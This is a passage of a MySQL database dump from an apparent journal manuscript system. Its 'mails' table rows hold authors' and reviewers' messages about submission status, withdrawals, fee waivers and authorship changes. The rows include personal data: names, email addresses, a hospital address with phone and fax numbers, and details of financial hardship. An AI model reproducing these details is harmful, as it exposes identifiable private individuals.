Ali&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>',650,10036,1,'2022-01-25 06:55:32',1),(1064,'time taken for manuscript','<p>Dear Sir,</p>\r\n<p>&nbsp;</p>\r\n<p>Kindly let me know how much time is generally required after assigning editor.</p>\r\n<p>&nbsp;</p>',910,12610,1,'2022-01-27 07:09:26',1),(1065,'acceptance letter ','<p>Dear Editor&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Please resend acceptance letter to&nbsp;</p>\r\n<p><a href=\"mailto:drondero@bronxcare.org\">drondero@bronxcare.org</a></p>\r\n<p>or&nbsp;&nbsp;</p>\r\n<p><a href=\"mailto:dianamariaronderos@gmail.com\">dianamariaronderos@gmail.com</a></p>\r\n<p>&nbsp;</p>\r\n<p>thank you&nbsp;&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Thank you&nbsp;</p>',267,12579,1,'2022-01-27 20:54:31',1),(1066,'sending complain','<p>I feel sory regarding your journal and review issues.&nbsp;<em>I submitted bwefore 32 years back a manuscript called&nbsp;<span>Early sexual debut and associated factors among high school and\npreparatory students in Kindo Koyisha district, Wolayta zone, South Ethiopia, but without any dicsion you suspnded it. I never seen such kind journal. This is predatory journal which lack rules and\nregulation.</span></em></p>\r\n<p><em><span>Poor journal with poor editorial system&nbsp;</span></em></p>',48,5214,1,'2022-01-28 20:56:05',1),(1067,'Request to author for rearrange the article','<p>Dear sir</p>\r\n<p>Please find the editorial decision. I have sent the decision with\nmajor correction for revise the article.</p>\r\n<p>&nbsp;</p>\r\n<p>Thank you</p>\r\n<p>&nbsp;</p>\r\n<p>Kind Regards</p>\r\n<p>Md. Khairujjaman</p>\r\n<p>&nbsp;</p>',528,1788,2,'2022-01-31 05:02:25',1),(1068,'QURIES ABOUT MANUSCRIPT','<p>RESPECTED SIR</p>\r\n<p>I HOPE YOU ARE ENJOYING GOOD HEALTH. THE JOURNAL HAS SEND ME THE GALORY PROOF OF MY MANUSCRIPT. I AM IMTERESTED TO REVISED MY AUTOR LIST. PLEASE SEND ME MANSUCRIPT OR UPDATE PORTAL SO THAT I CAN\nUPDATE MY AUTHOR LIST. SECONDELY, THE JOURNAL IMPACT FACTOR IS NOT SHOWN ON <em><strong>JOURNAL CITATION REPORTS</strong></em>. PLEASE UPDATE ME.</p>\r\n<p>THANKS</p>\r\n<p>MOHSIN SHAD</p>',370,9351,1,'2022-01-31 15:26:33',1),(1069,'REQUEST FOR Authorship Order','<p><span>Dear Evangeline</span></p>\r\n<p><span>I hope you are enjoying good health. Thank you so much for your kind respose and satisifying my quries. I am sharing the authorship list of my manuscript. The manuscript author list\nis&nbsp;&nbsp;<strong>Mohsin Shad1*, Ayesha Malik2, Momina Javid2, Salah ud Din<sup>2</sup>, Muhammad Ayoub1 Kanza Sadiq<sup>2</sup>, Muhammad Sajjad<sup>1</sup>, Sana Shakoor<sup>2</sup>, Muhammad\nAkhtar Ali<sup>1</sup> and Abdul Qayyum Rao2.&nbsp;</strong>Moreover thr glaoryproof paper is also attached with some modification. Many sentences and typho error has beed corrected. Secondely, the\nfull publication charges has been&nbsp;waived by respected editor. As a student i can pay any charges due to finincal crisis.</span></p>\r\n<p><span>Thank You</span></p>\r\n<p><span><strong>&nbsp;</strong></span></p>',370,9351,1,'2022-02-01 16:26:01',1),(1070,'QURIES ABOUT MANUSCRIPT','<p>Dear Evangeline</p>\r\n<p>I hope you are enjoying good health. Thank you so much for your kind response and for satisfying my queries. I am sharing the authorship list of my manuscript. The manuscript author list\nis&nbsp;&nbsp;<strong>Mohsin Shad1*, Ayesha Malik2, Momina Javid2, Salah ud Din<sup>2</sup>, Muhammad Ayoub1 Kanza Sadiq<sup>2</sup>, Muhammad Sajjad<sup>1</sup>, Sana Shakoor<sup>2</sup>, Muhammad\nAkhtar Ali<sup>1,</sup>&nbsp;and Abdul Qayyum Rao2.&nbsp;</strong>Moreover,&nbsp;the gelly proof paper is also attached with some modifications. Many sentences and typho error has been corrected.\nSecondly, the full publication charges have been&nbsp;waived by the respected editor. As a student, I can pay any charges due to financial crises.</p>',370,9351,1,'2022-02-01 16:29:30',1),(1071,'Manuscript Number: ipjpm-22-12280','<p>As I cannot afford the publication costs, I am withdrawing my paper. Please confirm that it has been deleted from your server. Thanks in advance. Andre</p>',131,12550,1,'2022-02-07 06:24:54',1),(1072,'REQUEST FOR Authorship Order','<p>Dear Evangeline</p>\r\n<p>I hope you are enjoying good health. I am sharing the authorship list of my manuscript. The manuscript author list is&nbsp;&nbsp;<strong>Mohsin Shad1*, Ayesha Malik2, Momina Javid2, Salah ud\nDin<sup>2</sup>, Muhammad Ayoub1 Kanza Sadiq<sup>2</sup>, Muhammad Sajjad<sup>1</sup>, Sana Shakoor<sup>2</sup>, Muhammad&nbsp;<span class=\"il\">Akhtar</span>&nbsp;<span\nclass=\"il\">Ali</span><sup>1,</sup>&nbsp;and Abdul Qayyum Rao2.&nbsp;</strong>Moreover,&nbsp;the gelly proof paper is also attached with some modifications. Many sentences and typho error has been\ncorrected. Please update authorship list in the final manuscript</p>\r\n<p>Thanks</p>\r\n<p>&nbsp;</p>',370,9351,1,'2022-02-07 09:11:06',1),(1073,'Paper cancel ','<p>Hi dear&nbsp;</p>\r\n<p>please I wish to cancel submission my paper entitled <a class=\"m_-7561734957356487695gse_alrt_title\" style=\"font-size: 1.17em;\"\nhref=\"https://scholar.google.com/scholar_url?url=https://m.guidetoskincare.com/biomedical-sciences/sox4-gene-contributes-in-induction-of-uterine-adenomyosis.pdf&amp;hl=en&amp;sa=X&amp;d=9098425976235204069&amp;ei=huTiYaarLYS4ygTa9KjIBA&amp;scisig=AAGBfm0dGUERtpi9WjssgeRDWXHRflnzVQ&amp;oi=scholaralrt&amp;hist=UyHDi7oAAAAJ:6400491452151627914:AAGBfm0H_gQH0ZzRWbc2eywjUiUOGeKKLw&amp;html=&amp;folt=art&amp;fols=\"\ntarget=\"_blank\"\ndata-saferedirecturl=\"https://www.google.com/url?q=https://scholar.google.com/scholar_url?url%3Dhttps://m.guidetoskincare.com/biomedical-sciences/sox4-gene-contributes-in-induction-of-uterine-adenomyosis.pdf%26hl%3Den%26sa%3DX%26d%3D9098425976235204069%26ei%3DhuTiYaarLYS4ygTa9KjIBA%26scisig%3DAAGBfm0dGUERtpi9WjssgeRDWXHRflnzVQ%26oi%3Dscholaralrt%26hist%3DUyHDi7oAAAAJ:6400491452151627914:AAGBfm0H_gQH0ZzRWbc2eywjUiUOGeKKLw%26html%3D%26folt%3Dart%26fols%3D&amp;source=gmail&amp;ust=1642457221819000&amp;usg=AOvVaw0MjGZJzIF5cF7iAo9qqRMS\"\ndata-originalfontsize=\"17px\" data-originalcomputedfontsize=\"17\">SOX4 Gene Contributes in Induction of Uterine Adenomyosis</a>&nbsp;in your journal.</p>\r\n<p>with my best wishes&nbsp;</p>',988,11965,1,'2022-02-09 14:54:54',1),(1074,'Information','<p>Dr I&acute;m travel in holidays, thanks, after 08 march.</p>',0,10975,3,'2022-02-10 12:35:52',0),(1075,'Status ','<p>Good afternoon,</p>\r\n<p>I was wondering about the status of the manuscript submitted on Dec. 17th, 2021. How long does it typically take to get a response once the article is submitted?</p>\r\n<p>&nbsp;</p>\r\n<p>Thank you.</p>',131,12347,1,'2022-02-10 21:18:22',1),(1076,'Payment ','<p>Dear sir,&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>i got an email regarding payment. But i am from low income country and i can not afford to pay. so please consider my case.</p>\r\n<p>Thank you</p>',48,12241,1,'2022-02-12 18:39:02',1),(1077,'Remove Submission','<p>Hello,</p>\r\n<p>I would like to remove this submission.&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Thank you.</p>',131,12347,1,'2022-02-13 13:15:38',1),(1078,'Reminder for withdraw of manuscript (\nipsrt-21-11887) submitted on 5 December\n2021.','<p>To,</p>\r\n<p>Editorial Team</p>\r\n<p>Stroke res ther</p>\r\n<p>Subject: Withdraw&nbsp;our manuscript (ipsrt-21-11887)</p>\r\n<p>&nbsp;</p>\r\n<p>Dear Sir,</p>\r\n<p>It is unfortunate that we&nbsp;are needing&nbsp;to withdraw&nbsp;our manuscript&nbsp;after peer review. As our institution is in acute shortage of the funds in view of the present COVID situation\nin India. We are unable to process the article publication fees as per the invoice.</p>\r\n<p>Hence, We would like to withdraw our manuscript titled \"&nbsp;The role of Lipoprotein(a) in intracranial atherosclerotic disease: A hospital based cross sectional study from India\" from further\nconsideration&nbsp;by your journal. The manuscript id is&nbsp;ipsrt-21-11887 submitted on&nbsp;5 December 2021. A formal&nbsp; request&nbsp;for withdrawal&nbsp;of the manuscript was sent on 4 January\n2022 by email.<span style=\"color: #000000;\">&nbsp;We are patiently awaiting the conformation of withdrawal.</span></p>\r\n<p>&nbsp;</p>\r\n<p>Please confirm the withdrawal&nbsp;process is complete.&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>We sincerely apologize for any inconvenience&nbsp;caused.&nbsp;</p>\r\n<p>Thanking you.</p>\r\n<p>&nbsp;</p>\r\n<p>Sincerely yours</p>\r\n<p>Dr. Dnyaneshwar Asole</p>\r\n<p>First &amp; corresponding author.</p>',481,12208,1,'2022-02-17 12:27:03',0),(1079,'Request for submission cancellation  ','<p>Dear Editor of iMedPub LTD,</p>\r\n<p>I would like to ask you to approve my request to cancel the submission of the scientific work titled: \'IgA-IgA biclonal gammopathy of undetermined significance: A case report and review of the\nliterature\', due to the delay in the publication process that was not preveiouscly anticipated.</p>\r\n<p>I have to inform you that I am an intern in medical biology in the Laboratory, and that I have to prepare my scientific file of titles and works in order to pass the end of first year\nexamination.</p>\r\n<p>I look forward to your kind reply. Please accept, dear editor, my most respectful greetings.</p>\r\n<p>&nbsp;</p>',984,12313,1,'2022-02-19 19:31:55',1),(1080,'ijddr-21-9603','<p>Dear Editor,</p>\r\n<p>Am yet to get my manuscript with id; ijddr-21-9603 published.</p>\r\n<p>Aslo mail sent to me had asked i find my manuscript in my attachment but couldnt find it.</p>\r\n<p>I will like to see my published article</p>\r\n<p>Regards</p>\r\n<p>Anya</p>',376,10473,1,'2022-03-03 11:53:41',1),(1081,'Request on update','<p>The authors would like to know the current status of the article submitted on 15th December 2021, assigned to editor on 21st December 2021 and since then, we have not heard from the editor or\nreviewer. We would appreciate a prompt review&nbsp; Thank you.</p>',539,12317,1,'2022-03-05 05:31:02',0),(1082,'Request','<p>I am waiting your response to manuscript entitled Evaluation of integrated management technologies to control annual weeds and grasses. Please respond to my manuscript i am waiting your response\nsoon.</p>\r\n<p>With best regards</p>',101,12390,1,'2022-03-05 15:20:30',0),(1083,'MANAGEMENT OF POST-OPERATIVE PHARYNGEAL\nPAIN: USE OF KETAMINE AND OTHER AGENTS ','<p>I will review within 7 days,</p>\r\n<p>thank&nbsp; you&nbsp;</p>',0,11350,3,'2022-03-17 10:20:53',0),(1084,'Cardiology','<p>Hi dear Ivan. I hope this message finds you well. Thank you for choosing me to review this article. As I have mentioned in my CV, I am the reviewer of cardiovascular disease articles. I do not have\nany information about the article you sent me. If there is any cardiology article It would be my pleasure to review.</p>\r\n<p>Please do not hesitate to contact me for any further collaboration.</p>\r\n<p>Best Regards,</p>\r\n<p>Shima Haghani M.D</p>\r\n<p>Sh_Haghani1@yahoo.com</p>',0,1116,3,'2022-04-20 14:21:45',0),(1085,'Regarding the manuscript submission-\nRing around the artery sign.','<p>Respected madam/Sir</p>\r\n<p>This is regarding the manuscripit submission with the title \"&nbsp;<strong>Ring around the artery sign- a rare indicator of Pneumomediastinum in COVID 19\",</strong> i just want to know about the\nstatus of the submission, as its been more than 45 days from the date of submission.</p>\r\n<p>Thank you&nbsp;</p>\r\n<p>Regards</p>',85,12929,1,'2022-05-02 19:46:24',1),(1086,'asking about progress of reviewing our\nmanuscript','<p>Greetings dear editor</p>\r\n<p>may you please tell me about progress of reviewing manuscript ipaom-22-12737 and when decision will be taken</p>\r\n<p>with my best regards</p>\r\n<p>Dr. Romany</p>',85,12994,1,'2022-05-07 23:10:48',1),(1087,'about our accepted manuscript','<p>dear editor</p>\r\n<p>greetings for the day</p>\r\n<p>i informed you that we can not tolerate paying as we having no income at all or funds from university and any authorities. so, if our request considering us a waiver, we regret to trying publishing\nin another free journal</p>\r\n<p>waiting your kind consideration and acceptance</p>\r\n<p>with all my regards</p>',85,12994,1,'2022-05-15 13:04:40',1),(1088,'Review request','<p>Dear Sir</p>\r\n<p>&nbsp;</p>\r\n<p>thanks for the invitation. Unfortunately I am not available to review the article. Hope to cooperate in future.</p>\r\n<p>&nbsp;</p>\r\n<p>Sincerely</p>\r\n<p>&nbsp;</p>\r\n<p>Dr. Masud</p>',0,11969,3,'2022-05-18 10:27:11',0),(1089,'review ','<p>sir, I will review this paper</p>',0,11350,3,'2022-05-18 23:02:42',0),(1090,'review request','<p>sir, I will review this paper</p>',0,11350,3,'2022-05-18 23:03:15',0),(1091,'ijddr-21-9603','<p>Dear Editor,</p>\r\n<p>Am writing in respect of my article with ID IJDDR-21-9603 which is yet to published dispite paying APC fee of USD200.&nbsp;</p>\r\n<p>It is getting&nbsp; to one year since i sent my article to your juornal for publication and am worried.</p>\r\n<p>I have writen severally but no concrete result to to that effect, please am hoping to have my paper published as soon as possible.</p>\r\n<p>Regards</p>\r\n<p>Anya</p>',376,10473,1,'2022-06-10 14:42:06',1),(1092,'Inquiry on the status of a manuscript','<p>Dear Editor,</p>\r\n<div dir=\"ltr\">Good day. I trust this message meets you well.</div>\r\n<div dir=\"ltr\">&nbsp;</div>\r\n<div dir=\"ltr\">Please it has been 2 months since we submitted our manuscript for possible publication in your reputable journal - and we are yet to receive a decision.</div>\r\n<div dir=\"ltr\">&nbsp;</div>\r\n<div dir=\"ltr\">Please, can you kindly let us know the status of our manuscript? We understand that there may be delays in the review/publication process but we will like to be updated on the status of\nthe manuscript.</div>\r\n<div dir=\"ltr\">&nbsp;</div>\r\n<div dir=\"ltr\">&nbsp;</div>\r\n<div dir=\"ltr\">Thank you very much for the work you do and for your support as I look forward to hearing from you.</div>\r\n<div dir=\"ltr\">&nbsp;</div>\r\n<div dir=\"ltr\">Best Regards,</div>\r\n<p>Uchenna Ezenwaka (Corresponding author)</p>',85,13043,1,'2022-08-15 16:27:56',1),(1093,'need for clarification','<p>hello. please i need some clarification regarding the publication. when submitting i did not see the field that allowed me to enter the names of the other authors of this work. in order to avoid\nany conflict i would like to specify the names of all the authors as well as the main author. thank you for answering me</p>',988,13127,1,'2022-08-19 16:58:59',1),(1094,'	ipacm-22-12910 ','<p>Dear Editor office of ipacm</p>\r\n<p>Could you let me know about any changes in the status of my items?</p>\r\n<p>Best regard: Marzieh</p>',248,13116,1,'2022-08-24 12:13:28',1),(1095,'Next Step','<p>Hey,</p>\r\n<p>My article got approved. What is the next step?</p>',673,13213,1,'2022-09-10 00:56:41',1),(1096,'Next Step','<p>My article was approved by the edito about 10 days ago. I want to know what the next process is.</p>',673,13213,1,'2022-09-13 19:37:13',1),(1097,'REVIEW','<p>DEAR EDITOR</p>\r\n<p>I DO NOT HAVE THE EXPERTISE TO REVIEW THIS MANUSCRIPT</p>',0,21476,3,'2022-09-20 11:26:15',0),(1098,'Article Title: Intimate partnersâ??\nViolence and Birth Spacing in Nigeria,\nImplication for High Fertility. Evidence\nfrom 2018 NDHS','<p>The research lacks innovation, but may have some practical implications in Nigeria. The statistical graphs in the manuscript may be a bit problematic. The statistical methods of the article also\nneed to be confirmed to be reasonable, especially binary logistic regression.</p>',48,21473,3,'2022-09-29 14:46:42',1),(1099,'Application regarding incorrect\nAffilation','<p>Dear Editor,</p>\r\n<p>Hope my email finds you in good health, this mail is regarding the incorrect affiliation written on the review article titled \"<strong>Probiotics as a potential immunomodulator to combat\nCoronavirus diseases\"&nbsp;</strong>published on 3</p>',248,12511,1,'2022-10-03 14:42:44',1),(1100,'	ipacm-22-12910 ','<p>Dear Sir / Madam,</p>\r\n<p>&nbsp;My manuscript ipacm-22-12910 has been accepted into your journal, but unfortunately it has been in this state for a long time. Is there any problem or should I do anything to correct it?</p>\r\n<p>&nbsp;Best regard</p>\r\n<p><strong>Marzieh Jamalidoust,\nPhD&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p>\r\n<p>Department of Virology, Prof Alborzi Clinical Microbiology Research Center,</p>\r\n<p>Namazi Hospital,&nbsp;Postal Code: 71937-11351, Shiraz- Iran</p>\r\n<p>Tel: +98-711-6474304</p>\r\n<p>Fax: +98-711-6474303</p>\r\n<p>Email:&nbsp;<a href=\"mailto:mjamalidoust@gmail.com\" target=\"_blank\">mjamalidoust@gmail.com</a></p>',248,13116,1,'2022-10-08 13:56:55',1),(1101,'My Review article was accepted but\npayment details for your side not send\nto me please provide payment details ','<p>My Review article was accepted but payment details for your side not send to me please provide payment details&nbsp;&nbsp;</p>',376,13417,1,'2022-12-08 19:01:25',1),(1102,'Withdrawal of a publication for\ncorrection','<p>I had a case report published on health science journal titled \"A case report of fronto-ethmoidal encephalocele in a neonate. It comes to my knowledge that ot needs some corrections. So I have\ndecided to have the paper retracted from your journal. Afer making the appropriate correction, i will then publish it.&nbsp;</p>\r\n<p>So can you please tell me how much I need to pay to have the paper withdrawn? I will make the payment as soon as you send me the invoice.</p>',48,13318,1,'2023-01-17 14:21:11',1),(1103,'Regarding payment','<p>Respected Sir/ Mam,</p>\r\n<p>I regret to inform that I am unable to make required payment at present. I apologize for the inconvenience caused.</p>\r\n<p>Kindly allow me to withdraw my submission</p>\r\n<p>Thank you</p>',972,13618,1,'2023-01-29 17:37:43',1),(1104,'Regarding complet retracrion of a paper','<p>Greetings,</p>\r\n<p>Weeks ago, I had made a payment of 119 &euro; after the journal made significant cost reduction for retraction of my case report titled \"fronto ethimoidal encephalocele in a neonate\". After\ncontacting the editor in chief, you told me to pay the payment and told me that the paper would be completely removed from online. The paper was removed from the journal but still avilable on search\nfrom online. You told me google de-indexing will be done in few days. But still it is there. Can you please completely remove from online? As I told, I am not repeatedly searching online from\ngoogle.</p>\r\n<p>Please, i know i have been troubling you but i am troubling you because my institution has ordered me to have the paper completely retracted from the internet.</p>\r\n<p>&nbsp;</p>\r\n<p>With regards.</p>',48,13318,1,'2023-02-06 22:43:26',1),(1105,'Correction on Manuscript number\niphsj-23-13438','<p>Dear Editor,</p>\r\n<p>Thank you for publishing the Above numbered Manuscript.</p>\r\n<p>However, We have noticed the following errors in the named manuscript</p>\r\n<p>1. The email address of the corresponding author is <a href=\"mailto:wangko@ubids.edu.gh\">wangko@ubids.edu.gh</a> and NOT <strong><span style=\"left: 67.65%; top: 51.5%; font-size:\ncalc(var(--scale-factor)*10.00px); font-family: sans-serif; transform: scaleX(0.919339);\" dir=\"ltr\"><a href=\"mailto:mudasirrajab07@gmail.com,\">mudasirrajab07@gmail.com,</a> lets kindly effect the\ncorrection</span></strong></p>\r\n<p><strong><span style=\"left: 67.65%; top: 51.5%; font-size: calc(var(--scale-factor)*10.00px); font-family: sans-serif; transform: scaleX(0.919339);\" dir=\"ltr\">2. On page three (3), the actual\nequations numbered 1, 2, and 3 are missing from the PDF copy of the manuscript.<br /></span></strong></p>\r\n<p><strong><span style=\"left: 67.65%; top: 51.5%; font-size: calc(var(--scale-factor)*10.00px); font-family: sans-serif; transform: scaleX(0.919339);\" dir=\"ltr\">&nbsp;</span></strong></p>\r\n<p><strong><span style=\"left: 67.65%; top: 51.5%; font-size: calc(var(--scale-factor)*10.00px); font-family: sans-serif; transform: scaleX(0.919339);\" dir=\"ltr\">Kindly correct and direct\naccordingly.<br /></span></strong></p>',48,13619,1,'2023-02-21 20:17:01',1),(1106,'Defence Mechanisms & Personality Factors\nin Substance Abuse Patients','<p>I, Ankita Wadhawan, am writing this email to you regarding the aforementioned paper published in your esteemed journal. I would like to extend my gratitude for the same. However, I wish to add an\nauthor to the same. Would it be possible to do so now? There seems to have been a misstep on my part due to the online submission &amp; blind review process. The author details to be added are: Dr.\nRitu Sharma, Assistant professor, Central university Haryana.&nbsp;<br />I would be grateful for your assistance. Kindly consider my request.&nbsp;</p>\r\n<p>doi of said article:&nbsp;<span>&nbsp;</span><a title=\"Click here\"\nhref=\"../articles/defence-mechanisms-personality-factors-in-substance-abuse-patients-113525.html\">10.36648/1791-809X.16.8.968</a>&nbsp;</p>',48,12962,1,'2023-03-09 10:52:07',1),(1107,'Regarding Manuscript Status','<p>Dear Editorial Office,</p>\r\n<p>Could you please let me know the status of the manuscript?</p>\r\n<p>Regards,</p>\r\n<p>Srisudha M</p>',48,13889,1,'2023-05-16 11:35:01',1),(1108,'ipjnn-23-13765','<p>hi no update for&nbsp;<span>ipjnn-23-13765</span></p>',75,13892,1,'2023-06-09 13:57:22',1),(1109,'Understanding Spondyloarthritis:\nSymptoms, Causes, And Treatment Options:\nUNABLE TO ACCESS THE MANUSCRIPT','<p>Dear Editorial Office,</p>\r\n<p>&nbsp;</p>\r\n<p>I am unable to access/download the above mentioned manuscipt that I have accepted to review.</p>\r\n<p>&nbsp;</p>\r\n<p>_Sakir Ahmed</p>',0,21446,3,'2023-06-26 15:59:26',0),(1110,'withdraw my manuscript ','<p>Dear Editor,</p>\r\n<p>I hope this letter finds you well. I am writing to inform you that I have decided to withdraw my manuscript titled \"Efficacy and Safety of Antiplatelet Therapy in COVID-19: Insights from a\nMeta-Analysis of Randomized Controlled Trials\" from consideration for publication in&nbsp;<strong><em>Annals of Clinical and Laboratory Research</em></strong>.</p>\r\n<p>After careful consideration and further evaluation of my publication goals, I have realized that&nbsp;<em><strong>Annals of Clinical and Laboratory Research&nbsp;</strong></em>does not align with\nmy intended target for publication. Therefore, I believe it is in the best interest of both parties to withdraw the manuscript at this stage.</p>\r\n<p>I would like to express my appreciation for the time and effort that you and the reviewers have dedicated to the review process of my manuscript. I sincerely apologize for any inconvenience caused\nby this withdrawal. I am grateful for the opportunity.</p>\r\n<p>Thank you for your understanding in this matter. I wish you continued success with the journal, and I hope to have the opportunity to submit future work to&nbsp;<em><strong>Annals of Clinical and\nLaboratory Research</strong></em>&nbsp;that aligns more closely with its scope.</p>\r\n<p>Yours sincerely,</p>\r\n<p>Jinqi Fan</p>',984,13950,1,'2023-06-29 01:53:36',1),(1111,'Witdraw manuscript','<p>Dear Edit&ouml;r,</p>\r\n<p>This journal is not free journal and scopus has stopped being indexed. We noticed late. And This is issue we request the necessary action to</p>\r\n<p>withdraw our manuscript. It seems that a journal edit&ouml;r has been assigned to our study in the system, but emails appear as if it has accepted for&nbsp;</p>\r\n<p>evaluation. These process are not specified in the journal system, so we request the withdrawel to take place.</p>\r\n<p>Thaank you</p>',48,14064,1,'2023-08-08 12:40:30',1),(1112,'Witdraw manuscript','<p>Dear Editorial Office,</p>\r\n<p>It seems that you have reviewed our manuscript on our withdrawel request message. We stated that we like to withdraw our study.</p>\r\n<p>We will send our manuscript to another journal. We ask our messages be taken in account.&nbsp;</p>\r\n<p>You are kindly requested to fulfill our request like a quality journal.</p>\r\n<p>Kind regards</p>\r\n<p>&nbsp;</p>',48,14064,1,'2023-08-09 15:56:43',1),(1113,'Manuscript review','<p>The manuscript \"Case Report: Guillain&acirc;&euro;&ldquo;Barre Syndrome presentation Mimicking Stroke; An atypical presentation\" is suitable for publication in this journal. No substantial\nrevisions are required. Only grammar and writing revisions, specially in the introduction, are required.</p>',75,21377,3,'2023-08-12 12:53:34',1),(1114,'For getting info about submission\nprogress','<p><span class=\"example2\">I hope you are doing well.</span></p>\r\n<p><span class=\"example2\">I submitted a manuscript with <strong>submission ID&nbsp;</strong><strong>ipacm-23-14022</strong> on 11 Aug 2023 to Archives in clinical microbiology. I want to know about\nlatest progress about my submission.</span></p>\r\n<p><span class=\"example2\">Regards</span></p>\r\n<p><span class=\"example2\">Muhammad Hamza Ashraf</span></p>',248,14092,1,'2023-10-14 12:09:36',1),(1115,'ipjnn-24-14546  Artificial intelligence\nalgorithms for glioblastomas recognition\nin single photon emission tomography\nimages.','<p><span style=\"font-size: medium;\">The authors declare that we have no source of funding for the publication of this</span><br><span style=\"font-size: medium;\">article; we also do not have the\nfinancial resources to pay publication costs. We</span><br><span style=\"font-size: medium;\">appreciate the opportunity to publish this article free of charge.</span></p><p><span style=\"font-size:\nmedium;\">We sincerely regret having sent the&nbsp;article without reading that we had to pay.</span></p><p><span style=\"font-size: medium;\">We appreciate the opportunity, if possible, <span\nstyle=\"background-color: rgb(255, 255, 153);\">to publish this article free of charge.</span></span></p><p><span style=\"font-size: medium;\"><span>We remain, from this moment, pending your\ninstructions.</span></span></p><p><span style=\"font-size: medium;\" data-mce-style=\"font-size: medium;\"><span>Sincerely;<br>Roberto León Castellón MD, MSc, PhD&nbsp;&nbsp;\nrobertoleonc82</span></span><span style=\"font-family: Calibri; font-size: medium;\" data-mce-style=\"font-family: Calibri; font-size: medium;\">@</span>gmail.com</p><p><span style=\"font-size: medium;\"\ndata-mce-style=\"font-size: medium;\"><span>Full Academic and full researcher<br>Director Cuban Journal of Neurology and Neurosurgery<br>La Habana, Cuba</span></span></p>',75,14579,1,'2024-02-03 04:05:43',1),(1116,'Can you please withdraw it ? French\nAdministrative Reforms, Democratic\nRecess, and Social Demotion','<p>Good morning,</p>\r\n<p>Can you please withdraw this article \"French Administrative Reforms, Democratic Recess, and Social Demotion\" ?</p>\r\n<p>You have not been authorized to publish it.</p>\r\n<p>Thanks a lot,</p>\r\n<p>Daniel Simonet</p>',84,13045,1,'2024-02-05 15:04:59',0),(1117,'French Administrative Reforms,\nDemocratic Recess, and Social Demotion','<p>Good morning,</p>\r\n<p>I never approved the publication of this article.</p>\r\n<p>I was never aware that this article was accepted for publication.</p>\r\n<p>I never received any review or any email stating it was approved.</p>\r\n<p>You will need to withdraw it.</p>\r\n<p>Best regards,</p>\r\n<p>Daniel Simonet</p>',84,13045,1,'2024-02-05 15:08:13',0),(1118,'Status of my article','<p>Dear Editor,</p>\r\n<p>I hope you are in great health. I would like to know what is the status of my article? Please let me know at your earliest convenient.</p>\r\n<p>&nbsp;</p>\r\n<p>Sincerely,</p>\r\n<p>&nbsp;</p>\r\n<p>Karmani</p>',75,14542,1,'2024-03-04 16:51:11',1),(1119,'Request for APC waiver ','<div><span style=\"font-family: arial, sans-serif;\">Dear Sir,</span></div>\r\n<div><span style=\"font-family: arial, sans-serif;\">I would like accepy gratitude on behalf of all coauthors for accepting our paper for publication.</span></div>\r\n<div><span style=\"font-family: arial, sans-serif;\">With this, I would like to request you for a full fee waiver of APC and other charges. We would like to declare that no funding in any form was\nreceived for this work.</span></div>\r\n<div><span style=\"font-family: arial, sans-serif;\">I would like to add that I am a young public&nbsp;health professional from India, and have recently started my career so I would not be able to pay\nfor the publication fees considering high foreign currency exchange rates and comparatively very low salaries.&nbsp;</span>With this being said, I look forward to your response and kind guidance on\nhow we can proceed ahead with it. Along with me, other coauthors are also from low-middle income countries and therefore would express our inability to pay for the publication fees.&nbsp;</div>\r\n<div>For this kindful act, we shall be highly grateful to you.</div>\r\n<div>I look forward to your response.&nbsp;</div>',85,14563,1,'2024-03-18 15:20:25',1),(1120,'Invoice','<p>Dear Sirs,</p>\r\n<p>the university government has infomred me that they never pay via an electronic link. Would you please send a \"traditional\" invoice a PDF file? Thank you so much! Obviously German government is\nstill living in the 20th century...&nbsp; :-)</p>\r\n<p>Thomas</p>',48,14699,1,'2024-03-27 16:32:05',1),(1121,'Review','<p>Dear Editor, i can&acute;t access the article to perform thr review.</p>\r\n<p>Kind regards&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Luis Daniel Umezawa Makikado</p>\r\n<p>&nbsp;</p>\r\n<p><span>ResearchGate:&nbsp;<a href=\"https://www.researchgate.net/profile/Luis-Daniel-Umezawa-Makikado\">https://www.researchgate.net/profile/Luis-Daniel-Umezawa-Makikado</a></span></p>\r\n<p><span>ORCID:&nbsp;<a href=\"https://orcid.org/my-orcid?orcid=0000-0001-6922-8167\">https://orcid.org/my-orcid?orcid=0000-0001-6922-8167</a></span></p>\r\n<p>&nbsp;</p>',0,9911,3,'2024-04-19 19:21:53',0),(1122,'handling manuscript','<p>The system does not allow me to assign reviewers</p>',48,192,2,'2024-05-10 17:10:15',1);
/*!40000 ALTER TABLE `mails` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `manuscripts`
--

DROP TABLE IF EXISTS `manuscripts`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!50503 SET character_set_client = utf8mb4 */;
CREATE TABLE `manuscripts` (
  `m_id` int NOT NULL AUTO_INCREMENT,
  `a_id` int NOT NULL,
  `j_id` int NOT NULL,
  `jc_id` int NOT NULL DEFAULT '0',
  `m_number` varchar(50) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `m_title` text CHARACTER SET latin1 COLLATE latin1_general_ci NOT NULL,
  `m_article_type` varchar(20) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `articletype_id` int NOT NULL,
  `issue_type` tinyint(1) NOT NULL DEFAULT '0',
  `si_title` varchar(220) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `m_abstract` longtext CHARACTER SET latin1 COLLATE latin1_general_ci NOT NULL,
  `m_keywords` text CHARACTER SET latin1 COLLATE latin1_general_ci,
  `m_classification` int NOT NULL,
